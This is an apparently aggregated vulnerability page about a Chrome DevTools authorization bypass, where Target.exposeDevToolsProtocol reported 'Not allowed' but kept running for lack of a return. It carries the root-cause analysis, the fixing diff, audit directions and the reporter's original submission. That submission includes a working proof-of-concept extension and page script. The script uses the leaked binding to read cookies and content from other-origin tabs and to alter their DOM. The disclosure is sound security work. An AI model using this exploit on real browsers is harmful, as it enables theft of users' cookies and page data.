High watch CVSS 5.4 chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
5.4
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in DevTools
DescriptionInappropriate implementation in DevTools
ComponentDevTools
Bug ClassLogic Error
Action tierwatch — logic/policy bug — security-relevant, no memory-unsafety
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker485287859
Fix commit111ecbc657c4 (chromium/src) +13/-3
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
CISA KEVNot listed
CreditedM. Fauzan Wijaya (Gh05t666nero)
Reported2026-02-17 (per vendor advisory)
Fix landed2026-02-18 (public git)
Disclosed2026-02-23
Patch gap5 days — fix public in source before the advisory

Background

`Target.exposeDevToolsProtocol`
a Chrome DevTools Protocol (CDP) method that installs a JavaScript binding (named by bindingName) in a page target, letting script in that page send CDP commands through a BrowserToPageConnector.
`TargetHandler` / `access_mode_`
the browser-process handler for the CDP Target domain; access_mode_ records how privileged the attached client is, and only AccessMode::kBrowser (a full browser-level session) is meant to grant this binding.
`ExposeDevToolsProtocolCallback`
the async response callback; callback->sendFailure(...) sends an error reply to the client but does not by itself stop the function from running.
`BrowserToPageConnector::GetInstanceMap()`
a map from DevToolsAgentHost to an existing connector, used to detect that a target already has the bindings.

Root Cause Analysis

The handler for Target.exposeDevToolsProtocol in content/browser/devtools/protocol/target_handler.cc runs four precondition checks. Each one called callback->sendFailure(...) but had no return, so execution fell through to the code that builds BrowserConnectorHostClientPermissions and grants the binding.

As a result, the access check (access_mode_ != AccessMode::kBrowser) only reported an error: a client without browser-level access still had the protocol binding installed in the target page. The same fall-through applied to the other checks. A null agent_host would go on to agent_host->GetWebContents(), a target that already had bindings would get another connector, and a non-page target would continue past the GetWebContents() check; each of these would also invoke the callback more than once (consequences inferred).

The patch adds return; after each sendFailure, turning the checks into real early exits. The updated web test confirms the intended rule: it now calls exposeDevToolsProtocol from a full browser session (attachFullBrowserSession()) instead of the page-scoped session it used before. The hunk header does not name the enclosing function; it is identified as the Target.exposeDevToolsProtocol handler from its callback type and error strings.

Key insight
The authorization and validity checks reported failure but never stopped execution, so the privileged action ran anyway. Adding return after each sendFailure makes the checks actually enforce their conditions.

Attack Path

  1. Obtain a non-browser CDP session The attacker controls a DevTools protocol client whose TargetHandler has an access_mode_ other than AccessMode::kBrowser, such as a page-scoped session like the one the old web test used (the exact client type, e.g. an extension debugger session, is inferred).
  2. Call `Target.exposeDevToolsProtocol` The client asks for the binding on a page target it can name by targetId.
  3. Check fails but execution continues The handler sends kNotAllowedError but, before the fix, goes on to create the BrowserToPageConnector with the requested permissions.
  4. Page gains CDP access Script in the target page can then issue DevTools protocol commands through the exposed binding, using capabilities the restricted client was not supposed to grant (inferred extent).

Impact Assessment

A DevTools client that is only supposed to have restricted (non-browser) access could get the browser process to expose a CDP binding to a page, bypassing the AccessMode::kBrowser restriction in the browser process. The precondition is an attacker-controlled DevTools protocol session with reduced access, for example through an extension or another restricted CDP client (inferred); ordinary web content without such a session does not reach this handler. The vendor rates it high severity, and no exploitation in the wild is reported; escalation from that page-level CDP access to broader browser control, or crashes from the null agent_host dereference or repeated callback use, are (inferred).

Changed Functions

FunctionChangeNotes
if
content/browser/devtools/protocol/target_handler.cc
modified

Files Changed

  • content/browser/devtools/protocol/target_handler.cc
  • third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js

Audit Directions

  • Report-but-continue error handling
    Search CDP handlers (and other async callback-style handlers) for sendFailure, Response::...Error or std::move(callback).Run(error) that are not followed by return, especially when the check is an authorization gate.
  • Access-mode gates in DevTools handlers
    Check every use of access_mode_ / AccessMode and of the “may attach / may read” client permission checks to make sure denied calls actually terminate before any side effect.
  • Double-invoked callbacks
    Look for code paths where a response callback can be called more than once, which often signals a missing early exit and may hide use-after-move or state-confusion bugs.
From 111ecbc657c45da1115a6bb97157721e11cbb82c Mon Sep 17 00:00:00 2001
From: Alex Rudenko <[email protected]>
Date: Wed, 18 Feb 2026 01:59:58 -0800
Subject: [PATCH] Fix missing returns in target_handler

Fixed: 485287859
Change-Id: I7f3782719e60bd4d2792c9e8703c967e75d22469
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7585522
Commit-Queue: Philip Pfaffe <[email protected]>
Auto-Submit: Alex Rudenko <[email protected]>
Commit-Queue: Alex Rudenko <[email protected]>
Reviewed-by: Philip Pfaffe <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1586296}
---

diff --git a/content/browser/devtools/protocol/target_handler.cc b/content/browser/devtools/protocol/target_handler.cc
index 8c491e4..18f066a 100644
--- a/content/browser/devtools/protocol/target_handler.cc
+++ b/content/browser/devtools/protocol/target_handler.cc
@@ -1257,21 +1257,25 @@
     std::unique_ptr<ExposeDevToolsProtocolCallback> callback) {
   if (access_mode_ != AccessMode::kBrowser) {
     callback->sendFailure(Response::InvalidParams(kNotAllowedError));
+    return;
   }
   scoped_refptr<DevToolsAgentHost> agent_host =
       DevToolsAgentHost::GetForId(target_id);
   if (!agent_host) {
     callback->sendFailure(Response::InvalidParams(kTargetNotFound));
+    return;
   }
 
   if (BrowserToPageConnector::GetInstanceMap()[agent_host.get()]) {
     callback->sendFailure(Response::ServerError(base::StringPrintf(
         "Target with id %s is already granted remote debugging bindings.",
         target_id.c_str())));
+    return;
   }
   if (!agent_host->GetWebContents()) {
     callback->sendFailure(Response::ServerError(
         "RemoteDebuggingBinding can be granted only to page targets"));
+    return;
   }
 
   BrowserConnectorHostClientPermissions permissions;
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js b/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
index 5a1362ae..f3100a3 100644
--- a/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
@@ -1,10 +1,16 @@
 (async function(/** @type {import('test_runner').TestRunner} */ testRunner) {
-  const {page, session, dp} = await testRunner.startBlank(
+  const {page, session} = await testRunner.startBlank(
       'Verify that Target.exposeDevToolsProtocol scoped to the default execution context.');
-  await dp.Target.exposeDevToolsProtocol(
-      {targetId: page._targetId, bindingName: 'cdp'});
 
+  const browserSession = await testRunner.attachFullBrowserSession();
+  const bp = browserSession.protocol;
+
+  await bp.Target.exposeDevToolsProtocol(
+      {targetId: page.targetId(), bindingName: 'cdp'});
+
+  const dp = session.protocol;
   await dp.Runtime.enable();
+  await dp.Page.enable();
   dp.Page.createIsolatedWorld({frameId: page._targetId, worldName: 'foo'});
   const contextFoo =
       (await dp.Runtime.onceExecutionContextCreated()).params.context.id;
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js b/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
index 5a1362ae..f3100a3 100644
--- a/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
@@ -1,10 +1,16 @@
 (async function(/** @type {import('test_runner').TestRunner} */ testRunner) {
-  const {page, session, dp} = await testRunner.startBlank(
+  const {page, session} = await testRunner.startBlank(
       'Verify that Target.exposeDevToolsProtocol scoped to the default execution context.');
-  await dp.Target.exposeDevToolsProtocol(
-      {targetId: page._targetId, bindingName: 'cdp'});
 
+  const browserSession = await testRunner.attachFullBrowserSession();
+  const bp = browserSession.protocol;
+
+  await bp.Target.exposeDevToolsProtocol(
+      {targetId: page.targetId(), bindingName: 'cdp'});
+
+  const dp = session.protocol;
   await dp.Runtime.enable();
+  await dp.Page.enable();
   dp.Page.createIsolatedWorld({frameId: page._targetId, worldName: 'foo'});
   const contextFoo =
       (await dp.Runtime.onceExecutionContextCreated()).params.context.id;
Loading diff…

Original Bug Report

reported by [email protected]

Authorization Bypass in Target.exposeDevToolsProtocol via Missing Early Return


Report description

Authorization Bypass in Target.exposeDevToolsProtocol via Missing Early Return


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules

Which URL (or repository) have you found the vulnerability in?

https://github.com/chromium/chromium


The problem

Please describe the technical details of the vulnerability

Summary

When an untrusted chrome.debugger client calls Target.exposeDevToolsProtocol, the API returns Not allowed but does not exit. Due to missing return statements after sendFailure(...), execution falls through and creates BrowserToPageConnector, injecting a window.cdp bridge into the page with browser-level CDP access.

Test Environment

  • Verification date: 2026-02-18
  • Chrome version: 144.0.7559.109 (Linux)
  • Source reference commit: 88547700c7111c05932d805609d48be9e92a4f87

PoC Setup

mkdir -p poc/ext poc/page && cd poc

cat > ext/manifest.json <<'EOF'
{
  "manifest_version": 3, "name": "PoC", "version": "1.0",
  "permissions": ["debugger", "activeTab"],
  "background": { "service_worker": "background.js" },
  "action": { "default_title": "Trigger" }
}
EOF

cat > ext/background.js <<'EOF'
chrome.action.onClicked.addListener(async (tab) => {
  try {
    await chrome.debugger.attach({ tabId: tab.id }, '1.3');
    const { targetInfo } = await chrome.debugger.sendCommand(
      { tabId: tab.id }, 'Target.getTargetInfo');
    // sendFailure("Not allowed") fires but has no return.
    // BrowserToPageConnector is created anyway.
    try {
      await chrome.debugger.sendCommand({ tabId: tab.id },
        'Target.exposeDevToolsProtocol',
        { targetId: targetInfo.targetId, bindingName: 'cdp' });
    } catch (_) {}
    await chrome.debugger.detach({ tabId: tab.id });
  } catch (e) {
    try { await chrome.debugger.detach({ tabId: tab.id }); } catch (_) {}
  }
});
EOF

cat > page/index.html <<'EOF'
<!doctype html>
<html><head><meta charset="utf-8"><title>PoC</title>
<style>
body { font: 13px/1.6 monospace; background: #111; color: #999; padding: 24px }
.g { color: #5a5 } .r { color: #a55 } .w { color: #ddd } .d { color: #555 }
.data { border-left: 2px solid #a80; padding: 6px 14px; margin: 4px 0 4px 12px;
  color: #ca5; background: #1a1400; white-space: pre-wrap; word-break: break-all }
</style></head><body>
<b>Target.exposeDevToolsProtocol - missing return after sendFailure</b><br>
<small style="color:#555">browser-level CDP from page JS via window.cdp</small>
<p id="wait">click the extension icon on this tab to trigger</p>
<div id="out"></div>
<script>
(function() {
  var out = document.getElementById('out'), wait = document.getElementById('wait');
  function log(s, c) {
    var e = document.createElement('div');
    if (c) e.className = c; e.textContent = s; out.appendChild(e);
  }
  function data(s) {
    var e = document.createElement('pre');
    e.className = 'data'; e.textContent = s; out.appendChild(e);
  }
  (function poll() { if (!window.cdp) return setTimeout(poll, 400); wait.hidden = true; run() })();

  function run() {
    var here = location.href, session, seq = 0;
    cdp.onmessage = function(raw) {
      var m; try { m = JSON.parse(raw) } catch(e) { return }
      if (m.method === 'Target.receivedMessageFromTarget') {
        try { onVictim(JSON.parse(m.params.message)) } catch(e) {} return;
      }
      if (m.id === 1 && m.result) onTargets(m.result.targetInfos || []);
      if (m.id === 2 && m.result) onAttach(m.result);
      if (m.id <= 2 && m.error) log('error: ' + m.error.message, 'r');
    };
    log('window.cdp binding detected', 'g'); log('');
    log('Target.getTargets', 'w');
    cdp.send(JSON.stringify({ id: 1, method: 'Target.getTargets', params: {} }));

    function onTargets(list) {
      list.forEach(function(t) { log('  ' + t.type + '  ' + t.url, 'd') }); log('');
      var v = list.find(function(t) {
        return t.type === 'page' && t.url !== here && !/^(devtools|chrome|about):/.test(t.url);
      });
      if (!v) return log('no cross-origin tab. open another tab and re-trigger.', 'r');
      log('Target.attachToTarget  ' + v.url, 'w');
      cdp.send(JSON.stringify({ id: 2, method: 'Target.attachToTarget',
        params: { targetId: v.targetId, flatten: false } }));
    }
    function onAttach(res) {
      if (!res.sessionId) return log('attach failed', 'r');
      session = res.sessionId;
      log('  session ' + session.substring(0, 20) + '...', 'g'); log('');
      log('Runtime.evaluate in victim (read)', 'w');
      evalVictim(101, 'JSON.stringify({u:location.href,t:document.title,c:document.cookie,' +
        'b:document.body.innerText.substring(0,500)})');
    }
    function onVictim(m) {
      if (m.id === 101 && m.result && m.result.result) {
        try {
          var d = JSON.parse(m.result.result.value);
          log('  stolen from ' + d.u, 'g');
          data('title:   ' + d.t + '\ncookie:  ' + (d.c || '(none)') +
            '\ncontent: ' + d.b.substring(0, 300));
        } catch(e) { log('  raw: ' + m.result.result.value, 'g') }
        log(''); log('Runtime.evaluate in victim (inject DOM)', 'w');
        evalVictim(102, 'var b=document.createElement("div");' +
          'b.setAttribute("style","position:fixed;top:0;left:0;right:0;z-index:2147483647;' +
          'padding:14px 20px;background:#b00;color:#fff;font:bold 14px/1 monospace;text-align:center");' +
          'b.textContent="Cross-origin write via CDP bypass";' +
          'document.documentElement.prepend(b);"injected"');
      }
      if (m.id === 102 && m.result) {
        log('  victim DOM modified', 'g'); log('');
        log('done. switch to the victim tab to see the red banner.', 'w');
      }
      if (m.error) log('  victim: ' + m.error.message, 'r');
    }
    function evalVictim(id, expr) {
      cdp.send(JSON.stringify({ id: ++seq + 10, method: 'Target.sendMessageToTarget',
        params: { sessionId: session, message: JSON.stringify({
          id: id, method: 'Runtime.evaluate', params: { expression: expr } }) } }));
    }
  }
})();
</script></body></html>
EOF

Reproduction Steps

1. Create files and start server

# Run the setup block above, then:
python3 -m http.server 8000 --directory page

2. Launch Chrome

Open a second terminal:

google-chrome \
  --user-data-dir="$(mktemp -d)" \
  --no-first-run \
  --no-default-browser-check \
  "http://127.0.0.1:8000/index.html"

3. Load extension

  1. Navigate to chrome://extensions.
  2. Enable Developer mode (toggle, top right).
  3. Click Load unpacked and select the ext/ directory.
  4. Return to the http://127.0.0.1:8000/index.html tab.

4. Open victim tab

Open a new tab and navigate to https://example.com.

5. Trigger

  1. Switch back to the PoC tab (127.0.0.1:8000).
  2. Click the extension icon in the toolbar.

6. Observe

On the PoC page:

  1. window.cdp binding detected confirms the bypass.
  2. Target.getTargets lists all browser tabs including the victim.
  3. stolen from https://example.com/ shows cross-origin content read (title, cookies, body text).
  4. victim DOM modified confirms cross-origin write.

Switch to the victim tab (example.com). A red banner reading “Cross-origin write via CDP bypass” is injected at the top of the page.

Actual vs Expected

Actual

  1. Target.exposeDevToolsProtocol returns Not allowed.
  2. BrowserToPageConnector is created anyway.
  3. window.cdp is injected with browser-level access.
  4. Cross-origin read and write demonstrated.

Expected

  1. Request is denied.
  2. Function returns immediately.
  3. No connector, no binding, no cross-origin access.

Add return; after each callback->sendFailure(...) in TargetHandler::ExposeDevToolsProtocol(...).

Source References

  1. https://github.com/chromium/chromium/blob/88547700c7111c05932d805609d48be9e92a4f87/content/browser/devtools/protocol/target_handler.cc
  2. https://github.com/chromium/chromium/blob/88547700c7111c05932d805609d48be9e92a4f87/content/public/browser/devtools_agent_host_client.cc
  3. https://github.com/chromium/chromium/blob/88547700c7111c05932d805609d48be9e92a4f87/chrome/browser/extensions/api/debugger/debugger_api.cc

Impact analysis

Impact

An extension with debugger permission can escalate from tab-scoped debugging to full browser-level CDP via page JavaScript.

Demonstrated capabilities after trigger:

  1. Read cross-origin page content (title, cookies, body text) from any tab.
  2. Write to cross-origin DOM (inject arbitrary elements into any tab).
  3. Enumerate all browser targets beyond the original attachment scope.

The cause

What version of Chrome have you found the security issue in?

144.0.7559.109

No, it is not related to a crash.

Choose the type of vulnerability

Privilege Escalation

How would you like to be publicly acknowledged for your report?

M. Fauzan Wijaya (Gh05t666nero)

View on issue tracker